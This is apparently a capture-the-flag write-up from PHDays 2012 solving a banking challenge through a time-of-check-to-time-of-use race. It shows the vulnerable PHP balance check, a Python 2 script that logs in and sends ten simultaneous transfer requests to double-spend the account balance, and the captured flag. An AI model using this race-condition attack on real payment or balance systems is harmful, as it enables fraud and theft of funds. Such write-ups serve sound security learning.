Posted on by and filed under PHDays 2012.

This challenge asked us to transfer $2000 to an account when all new accounts are created with only $1000.

A hint linking to the TOCTOU Wikipedia article implied that the site’s money transaction code does something like this.

if ($account->amount >= $request->amount) {
    transfer($account, $request->account, $request->amount);
}

Submitting two requests at the same time would allow two $1000 transfers at the same time. The following snippet sends two POST requests (almost) simultaneously.

import threading
import time
import urllib2

from urllib2 import urlopen
from urllib import urlencode

sroot = 'http://ctf.phdays.com:1629/'
user = 'sanic'
pw = '06'

class Zoom(threading.Thread):
    def __init__(self, *args, **kwargs):
        super(Zoom,self).__init__()
        self.url = kwargs['url']
        self.payload = kwargs['payload']

    def run(self):
        urlopen(self.url, self.payload).read()

# install cool opener
opener = urllib2.build_opener(urllib2.HTTPRedirectHandler,
                              urllib2.HTTPCookieProcessor)
urllib2.install_opener(opener)

# log in
creds = urlencode({'login': user, 'password': pw}).encode()
opener.open(sroot + '?act=login', creds).read()

# wait three seconds, just in case
print 'Simulating our humanity for three seconds...'
time.sleep(3)

# precompute info
t_url = sroot + '?act=transaction'
payload = urlencode({'account':'40433343a063d26054a3169b42b5957f',
'amount': 1000}).encode()

print 'GOTTA GO FAST!'
threads = [Zoom(url=t_url, payload=payload) for x in xrange(10)]
try:
    for t in threads:
        t.start()
    for t in threads:
        t.run()
    for t in threads:
        t.join()
except Exception, e:
    print 'You're too slow!'
    print e

Navigating to the home page as sanic gives us the flag: e8b434d21354e1a2ab61f4c672109559

Credits: Mark Ignacio, Ditmar Wendt